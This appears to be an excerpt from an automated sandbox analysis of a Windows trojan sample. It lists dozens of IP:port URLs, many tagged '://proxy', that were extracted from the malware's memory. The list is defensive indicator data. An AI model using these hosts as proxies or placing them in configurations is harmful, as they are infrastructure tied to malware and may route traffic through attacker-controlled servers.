Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:30295://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:31681
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:31681://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:33551
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:33551://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:34199
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:34199://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:34953
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:34953://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:35760
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:35760://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCE5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:35906
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:35906://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8005000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C810E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:36431
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8005000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:36431://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39067
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39067://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C825A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39833
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39833://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6777000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39852
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:39852://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:41119
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:41119://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:42420
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:42420://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64BA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:43274
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:43274://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:46115
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:46115://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:47152
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:47152://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:49628
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:49628://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.92.35:59656
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.92.35:59656://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.247.173.17:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.247.173.17:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.53.250
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.53.250://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.53.250:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6553000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.64.197:5004
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.64.197:5004://proxyP
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C805B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.64.44
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C804E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.64.44://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C804E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.64.44:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.79.75:25900
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.79.75:25900://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.79.75:29671
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.79.75:29671://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.34.232.107
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.34.232.107://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.34.232.107:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.35.118.243:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.35.118.243:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.44.36.114:6868
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.44.36.114:6868://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.87.186.59:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.87.186.59:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.93.25.55:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.93.25.55:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.110.59.82
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.110.59.82://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.110.59.82:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.114.209.50
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.114.209.50://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.114.209.50:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.116.155.169:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.116.155.169:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C756D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.65.34:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.65.34:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1CE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C66BF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8FEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.73.54:31145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9023000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.73.54:31145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.73.54:44017
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.73.54:44017://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.90.226:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.90.226:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.149.98.211:8181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.149.98.211:8181://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.158.18.236:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.158.18.236:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.158.6.167:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.158.6.167:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.16.74.241:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.16.74.241:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.164.138.34:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.164.138.34:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.168.91.238:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.168.91.238:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C808B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.175.22.194:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C808B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.175.22.194:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.177.217.131:16150
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.177.217.131:16150://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C91E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.177.217.131:33721
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.177.217.131:33721://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.178.33.86:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.178.33.86:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.178.56.33:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.178.56.33:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.178.56.33:8080x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.178.56.37:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.178.56.37:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C69E3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.201.246.166:5566
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.201.246.166:5566://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.206.39.222:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.206.39.222:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF41000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.222.189.105:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.222.189.105:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7678000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.225.142.169:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.225.142.169:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.23.57.78
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C675D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.23.57.78://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C675D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.23.57.78:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.246.54.31:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.246.54.31:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6933000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.248.243.149:7237
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.248.243.149:7237://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.215:32858
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.215:32858://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.217:34090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.217:34090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.218:34090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.218:34090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.219:34090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.219:34090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.74:34090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.74:34090://proxy
